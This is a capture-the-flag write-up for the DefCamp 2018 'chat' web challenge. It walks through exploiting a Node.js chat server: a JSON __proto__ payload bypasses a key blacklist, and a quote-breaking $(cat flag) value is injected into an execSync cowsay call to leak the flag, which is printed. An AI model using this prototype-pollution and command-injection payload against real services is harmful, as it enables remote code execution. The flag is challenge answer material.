Information#
CTF#
- Name : DefCamp CTF Qualification 2018
- Website : dctf.def.camp
- Type : Online
- Format : Jeopardy
- CTF Time : link
211 - chat - Web#
We received a new gig. Our goal is to review this application written in nodejs and see if we can get the flag from this system. Are you up for this?
The target: https://chat.dctfq18.def.camp
The code: chat.zip
Author: Andrei A
This a client/server chat app coded in Node.js (see code at the end).
Let's look at client.js
.
if(process.argv.length != 4) {
console.log('name and channel missing')
process.exit()
}
We understand that we need to connect using two arguments.
$ node client.js noraj norajSecretChannel
Logging as noraj on norajSecretChannel
Server [ Default ] says:
noraj registered
Server [ Default ] says:
You joined channel
Server [ norajSecretChannel ] says:
____________________________________
/ User noraj living in No Man`s Land \
\ joined channel /
------------------------------------
\ ^__^
\ (oo)\_______
(__)\ )\/\
||----w |
|| ||
A comment warns us that we should keep the channel private, so I understand they will be a way to leak the flag in the channel.
socket.emit('join', process.argv[3]);//ps: you should keep your channels private
Now let's look at the server side code.
In helper.js
we can see a potential vulnerability.
getAscii: function(message) {
var e = require('child_process');
return e.execSync("cowsay '" + message + "'").toString();
}
There is a system call with cowsay
and message
as an argument.
So I had to look for where getAscii
was called to see if message
is injectable.
Next we go to server.js
, getAscii
is used on join
event:
client.on('join', function(channel) {
try {
clientManager.joinChannel(client, channel);
sendMessageToClient(client,"Server",
"You joined channel", channel)
var u = clientManager.getUsername(client);
var c = clientManager.getCountry(client);
sendMessageToChannel(channel,"Server",
helper.getAscii("User " + u + " living in " + c + " joined channel"))
} catch(e) { console.log(e); client.disconnect() }
});
So in message
there will be u
and c
that seem to match user name and user country.
I then check in clientManager.js
for getUsername
and getCountry
to be sure.
},
getUsername: function (client) {
return this.clients[client.id].u.name;
},
getCountry: function (client) {
return this.clients[client.id].u.country;
},
So it sounded me very easy, I modified my client.js
to add a user country:
var inputUser = {
name: process.argv[2],
country: "Test country",
};
But I received Invalid settings.
from the server.
Let's look at server side code again.
In server.js
we see a function validUser
is called when we register.
client.on('register', function(inUser) {
try {
newUser = helper.clone(JSON.parse(inUser))
if(!helper.validUser(newUser)) {
sendMessageToClient(client,"Server",
'Invalid settings.')
return client.disconnect();
}
var keys = Object.keys(defaultSettings);
for (var i = 0; i < keys.length; ++i) {
if(newUser[keys[i]] === undefined) {
newUser[keys[i]] = defaultSettings[keys[i]]
}
}
if (!clientManager.isUserAvailable(newUser.name)) {
sendMessageToClient(client,"Server",
newUser.name + ' is not available')
return client.disconnect();
}
clientManager.registerClient(client, newUser)
return sendMessageToClient(client,"Server",
newUser.name + ' registered')
} catch(e) { console.log(e); client.disconnect() }
});
Let's see if we can bypass that (validUser
in helper.js
).
validUser: function(inp) {
var block = ["source","port","font","country",
"location","status","lastname"];
if(typeof inp !== 'object') {
return false;
}
var keys = Object.keys( inp);
for(var i = 0; i< keys.length; i++) {
key = keys[i];
if(block.indexOf(key) !== -1) {
return false;
}
}
var r =/^[a-z0-9]+$/gi;
if(inp.name === undefined || !r.test(inp.name)) {
return false;
}
return true;
},
They used a blacklist, block
array lists all user attributes that are blocked.
So the only one we can provide when registering is name
.
But name
can only contains alphanumeric characters because of the following regex /^[a-z0-9]+$/gi
.
This will be hard to make command injection with only alphanumeric character.
In message
we can only control name
or country
so there must be a way.
Going back to the register
event in server.js
, we can see user input is processed like that:
newUser = helper.clone(JSON.parse(inUser))
Some months ago I developed a project using a JSON lib, and the lib author was warning of the insecurity of the parse
method.
So I thought:
Maybe there is a vulnerability in this JSON lib too, and it is dangerous to put unfiltred user input directly in the
parse
method.
So I searched for Node.js JSON.parse vulnerability and I found this article: JavaScript Prototype Poisoning Vulnerabilities in the Wild.
In this nice article we can read how to override an object attribute in javascript by providing __proto__
property to the payload read by JSON.parse
.
country
is not filtered but we can't create it, so we will use this prototype poisoning to bypass the validUser
function.
But as said in the article:
JSON.parse()
, when passed properly formed JSON, will always produce plain JavaScript objects withObject.prototype
as their prototype, even in the depths of a deeply nested object.This means that even if
__proto__
appears in the JSON, this will produce a new property on the object called__proto__
rather than setting the object's prototype, as it ordinarily would in JavaScript.
So we can't provide the payload using an object like this:
var inputUser = {
name: process.argv[2],
__proto__: "whomai"
};
We need to send the JSON as a string directly and not to pass it trough JSON.stringify
anymore else it will clear __proto__
but that is no a problem to bypass it as it is done client-side:
inputUser = `{"name": "noraj", "__proto__": {"country": "' $(cat flag) '"}}`;
socket.emit('register', inputUser);
See why it is important:
node
> JSON.parse(JSON.stringify({test: "test", __proto__: "proto"}));
{ test: 'test' }
> JSON.parse(`{"test": "test", "__proto__": "proto"}`);
{ test: 'test', __proto__: 'proto' }
You can study more in depth the behavior of JSON.stringify()
on MDM web docs.
In fact in the register
event, the JSON.parse
output is sent as input of helper.clone
.
In helper.clone
the user input is copied as an object and under certain conditions is operating deep-copy from user supplied data to the session user object.
Most deep copying libraries iterate over an object’s own properties, copy the primitives over, and recurse into the own properties that are objects.
JSON.parse
will produce an object with a __proto__
property, and the deep-copy helper will copy the country
property onto the prototype of newUser
.
So we bypassed validUser
which was preventing to create it directly.
Using this in client.js
, we will see $(cat flag)
displayed on the cow message.
inputUser = `{"name": "noraj", "__proto__": {"country": "$(cat flag)"}}`;
socket.emit('register', inputUser);
It worked but the payload was not executed.
This is because the message is escaped with simple quote in getAscii
.
return e.execSync("cowsay '" + message + "'").toString();
To bypass that we only need to surround our payload with simple quotes and spaces.
inputUser = `{"name": "noraj", "__proto__": {"country": "' $(cat flag) '"}}`;
socket.emit('register', inputUser);
So in the end the server will execute:
return e.execSync("cowsay '' $(cat flag) ''").toString();
Let's check that and grab the flag:
$ node client.js noraj noraj
Logging as noraj on noraj
Server [ Default ] says:
noraj registered
Server [ Default ] says:
You joined channel
Server [ noraj ] says:
_________________________________________
/ User noraj living in \
| DCTF{DC7AB6B68168974C9D77C9C6B80753D5D1 |
| A5E7099788A6A59CE729A071045A91} joined |
\ channel /
-----------------------------------------
\ ^__^
\ (oo)\_______
(__)\ )\/\
||----w |
|| ||
Flag: DCTF{DC7AB6B68168974C9D77C9C6B80753D5D1A5E7099788A6A59CE729A071045A91}
.